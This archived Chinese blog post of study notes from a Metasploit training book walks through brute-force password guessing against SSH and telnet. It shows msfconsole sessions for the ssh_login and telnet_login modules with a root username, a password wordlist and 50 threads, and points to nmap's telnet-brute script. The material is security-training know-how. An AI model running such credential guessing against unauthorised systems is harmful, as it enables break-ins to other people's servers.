【2014-05-11】某《魔鬼训练营》读书笔记：特定服务密码猜测
[历史归档]本文原发布于 cstriker1407.info 个人博客，内容为历史存档，仅供参考。
发布时间：2014-05-11｜ 标题：某《魔鬼训练营》读书笔记：特定服务密码猜测｜分类：操作系统 / 安全 ｜标签：metasploit·nmap·密码
某《魔鬼训练营》读书笔记：特定服务密码猜测
- ssh密码猜测：
- 使用Metasploit自带扫描模块：
- ssh\_login模块：
- telnet密码猜测：
- 使用Metasploit自带扫描模块：
- telnet\_login模块：
- 使用nmap脚本：
！！！笔记仅供学习交流使用，请勿进行其他用途！！！
ssh密码猜测：
使用Metasploit自带扫描模块：
msf>search ssh_login Matching Modules================Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/ssh/ssh_login normal SSH Login Check Scanner 。。。。。ssh_login模块：
路径：auxiliary/scanner/ssh/ssh_login
msf>use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login)>show options Module options(auxiliary/scanner/ssh/ssh_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDSfalseno Try blank passwordsforallusersBRUTEFORCE_SPEED5yesHow fast to bruteforce, from0to5DB_ALL_CREDSfalseno Try each user/password couple storedinthe current database DB_ALL_PASSfalseno Add all passwordsinthe current database to the list DB_ALL_USERSfalseno Add allusersinthe current database to the list PASSWORD no A specific password to authenticate with#某个特定的密码PASS_FILE no File containing passwords, one per line#密码文件RHOSTSyesThe target address range or CIDR identifier#目标IP地址RPORT22yesThe target port STOP_ON_SUCCESSfalseyesStop guessing when a credential worksforahostTHREADS1yesThe number of concurrent threads USERNAME no A specific username to authenticate as#某个特定的用户名USERPASS_FILE no File containingusersand passwords separated by space, one pair per line#用户名：密码文件USER_AS_PASSfalseno Try the username as the passwordforallusersUSER_FILE no File containing usernames, one per line#用户名文件VERBOSEtrueyesWhether to print outputforall attempts msf auxiliary(ssh_login)>cd/usr/share/metasploit-framework/data/wordlists msf auxiliary(ssh_login)>setUSERNAME root USERNAME=>root msf auxiliary(ssh_login)>headunix_passwords.txt[*]exec:headunix_passwords.txt12345612345123456789password iloveyou princess123456712345678abc123 nicole msf auxiliary(ssh_login)>setPASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt PASS_FILE=>/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt msf auxiliary(ssh_login)>setTHREADS50THREADS=>50msf auxiliary(ssh_login)>exploit 。。。 。。。telnet密码猜测：
使用Metasploit自带扫描模块：
telnet_login模块：
路径：auxiliary/scanner/ssh/telnet_login
msf>use auxiliary/scanner/telnet/telnet_login msf auxiliary(telnet_login)>show options Module options(auxiliary/scanner/telnet/telnet_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDSfalseno Try blank passwordsforallusersBRUTEFORCE_SPEED5yesHow fast to bruteforce, from0to5DB_ALL_CREDSfalseno Try each user/password couple storedinthe current database DB_ALL_PASSfalseno Add all passwordsinthe current database to the list DB_ALL_USERSfalseno Add allusersinthe current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTSyesThe target address range or CIDR identifier RPORT23yesThe target port STOP_ON_SUCCESSfalseyesStop guessing when a credential worksforahostTHREADS1yesThe number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containingusersand passwords separated by space, one pair per line USER_AS_PASSfalseno Try the username as the passwordforallusersUSER_FILE no File containing usernames, one per line VERBOSEtrueyesWhether to print outputforall attempts后面和ssh_login类似，就不笔记了。
使用nmap脚本：
参考链接【 http://nmap.org/nsedoc/scripts/telnet-brute.html 】